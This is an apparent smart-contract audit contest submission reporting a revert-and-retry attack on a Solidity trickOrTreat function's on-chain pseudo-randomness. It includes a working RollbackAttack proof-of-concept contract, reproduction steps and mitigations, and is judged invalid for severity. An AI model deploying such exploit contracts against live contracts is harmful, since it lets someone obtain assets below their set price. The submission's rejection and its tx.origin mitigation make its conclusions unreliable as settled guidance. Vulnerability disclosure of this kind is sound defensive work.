Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Rollback attack for 'trickOrTreat' function

Vulnerability Report: Rollback Attack in trickOrTreat Function

Overview

The trickOrTreat function in the provided Solidity contract is vulnerable to a rollback attack. An attacker can repeatedly call the function and revert the transaction when the result is not favorable (e.g., no half-price purchase), allowing them to bypass the intended randomness and eventually purchase NFTs at a lower cost.

Vulnerability Details

Vulnerability Location

The vulnerability exists in the random number generation and logic in the trickOrTreat function:

function trickOrTreat(string memory _treatName) public payable nonReentrant {
Treat memory treat = treatList[_treatName];
require(treat.cost > 0, "Treat cost not set.");
uint256 costMultiplierNumerator = 1;
uint256 costMultiplierDenominator = 1;
// Generate a pseudo-random number between 1 and 1000
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nextTokenId, block.prevrandao))) % 1000 + 1;
if (random == 1) {
// 1/1000 chance of half price (treat)
costMultiplierNumerator = 1;
costMultiplierDenominator = 2;
} else if (random == 2) {
// 1/1000 chance of double price (trick)
costMultiplierNumerator = 2;
costMultiplierDenominator = 1;
}
// Else, normal price (multiplier remains 1/1)
uint256 requiredCost = (treat.cost * costMultiplierNumerator) / costMultiplierDenominator;
// Rest of the logic...
}

Description of the Vulnerability

  • Predictability of Random Number: The random number is generated using on-chain variables like block.timestamp, msg.sender, nextTokenId, and block.prevrandao. These variables can be partially predicted or manipulated by the attacker.

  • Transaction Revert Mechanism: An attacker can call trickOrTreat and, based on the result, decide whether to revert the transaction. If the random result is unfavorable (e.g., not a half-price purchase), the attacker can revert to avoid paying unnecessary costs.

  • Repeated Attempts: The attacker can call the function multiple times, reverting unfavorable outcomes, until they achieve a desirable result.

Exploitation Steps

  1. Retrieve treat.cost: The attacker first retrieves the cost of the specific Treat by calling the target contract’s treatList function.

  2. Call trickOrTreat: The attacker sends enough ETH (at least to cover the possible maximum requiredCost) and calls trickOrTreat.

  3. Evaluate the Result:

    • The attacker computes the actual cost they paid based on their balance before and after the transaction.

    • They calculate the possible requiredCost values (half price, normal price, or double price) based on the contract logic.

    • They compare the actual cost to the possible requiredCost values to determine the result.

  4. Revert if Unfavorable:

    • If the result is a half-price purchase (random == 1), the transaction succeeds, and the attacker benefits.

    • If the result is unfavorable, the attacker reverts the transaction to avoid paying the full or double price.

  5. Repeat the Attack: The attacker repeats the process until they achieve the desired half-price result.

Impact

  • Financial Loss: The attacker can purchase NFTs at a significantly lower cost than intended, leading to financial losses for the contract owner or other users.

  • Unfair Advantage: The attacker can manipulate the random outcome to gain an unfair advantage over other users.

  • Increased Network Load: The repeated transactions and rollbacks increase the load on the blockchain network, affecting the experience for other users.

Prevention of Contract Calls

To prevent the exploitation of the vulnerability, one possible mitigation strategy is to avoid accepting contract calls. Since contracts can include fallback functions to automatically react to received funds, it is important to ensure that only externally owned accounts (EOAs) are allowed to interact with the trickOrTreat function.

To enforce this, you can add a modifier that ensures only EOAs can call certain functions:

modifier onlyEOA() {
require(tx.origin == msg.sender, "Only EOAs can call this function");
_;
}
function trickOrTreat(string memory _treatName) public payable nonReentrant onlyEOA {
// Function logic...
}

Proof of Concept (PoC)

The following contract demonstrates how an attacker can exploit the rollback attack to repeatedly attempt to purchase NFTs at half price.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISpookySwap {
function trickOrTreat(string memory _treatName) external payable;
function treatList(string memory) external view returns (string memory name, uint256 cost, string memory metadataURI);
}
contract RollbackAttack {
ISpookySwap public vulnerableContract;
string public treatName = "Candy";
uint256 public successCount = 0;
address public owner;
constructor(address _vulnerableAddress) {
vulnerableContract = ISpookySwap(_vulnerableAddress);
owner = msg.sender;
}
// Perform a single attack attempt
function attack() external payable {
require(msg.sender == owner, "Only owner can initiate the attack");
// Get the actual treat.cost
(, uint256 treatCost, ) = vulnerableContract.treatList(treatName);
uint256 initialBalance = address(this).balance;
// Call the vulnerable contract's trickOrTreat function
(bool success, ) = address(vulnerableContract).call{value: msg.value}(
abi.encodeWithSignature("trickOrTreat(string)", treatName)
);
require(success, "Call to trickOrTreat failed");
// Calculate the balance difference
uint256 finalBalance = address(this).balance;
uint256 balanceDifference = initialBalance - finalBalance;
// Calculate possible requiredCosts
uint256 halfPriceCost = (treatCost * 1) / 2;
uint256 normalPriceCost = (treatCost * 1) / 1;
uint256 doublePriceCost = (treatCost * 2) / 1;
// Determine the outcome of the transaction
if (balanceDifference == halfPriceCost) {
// Successful half-price purchase
successCount += 1;
} else {
// Unfavorable outcome, revert the transaction
revert("Not a half-price transaction, reverting");
}
}
// Fallback function to receive refunds
fallback() external payable {}
}

Steps to Reproduce

  1. Deploy the Target Contract:

    • Deploy the provided SpookySwap contract on a local testnet or public testnet.

    • Ensure that a Treat named "Candy" is available with a set cost.

  2. Deploy the Attack Contract:

    • Deploy the RollbackAttack contract on the same network.

    • Pass the address of the target contract (SpookySwap) into the constructor of the attack contract.

  3. Execute the Attack:

    • Call the attack() function on the RollbackAttack contract.

    • Ensure to send enough ETH to cover the maximum potential cost (at least the double price of the treat).

    • The RollbackAttack contract will attempt to exploit the trickOrTreat function by repeatedly calling it and reverting the transaction if the outcome is unfavorable.

  4. Verify the Results:

    • Check the successCount in the RollbackAttack contract. If it increases, this indicates a successful half-price purchase.

    • Verify that the attacker's address has received the NFT from the target contract by checking the NFT ownership.

Recommended Fixes

  1. Use Secure Randomness:

    • Implement an off-chain randomness oracle (such as Chainlink VRF) to generate unpredictable and verifiable random numbers. This would prevent attackers from manipulating outcomes through retries.

  2. Increase Transaction Costs:

    • Introduce non-refundable fees in the trickOrTreat function, so attackers face higher costs for repeatedly attempting to manipulate the random number.

  3. Limit Retries:

    • Limit the number of times a user can call the trickOrTreat function in a given time frame, preventing them from making unlimited attempts.

  4. State-Changing Operations:

    • Introduce irreversible state changes earlier in the function execution to ensure that attackers face consequences even when reverting the transaction.

  5. Improve Transaction Logic:

    • Modify the logic so that part of the user's payment is consumed as soon as the transaction starts or after random number generation, making it costly to revert and retry.

Updates

Appeal created

bube Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.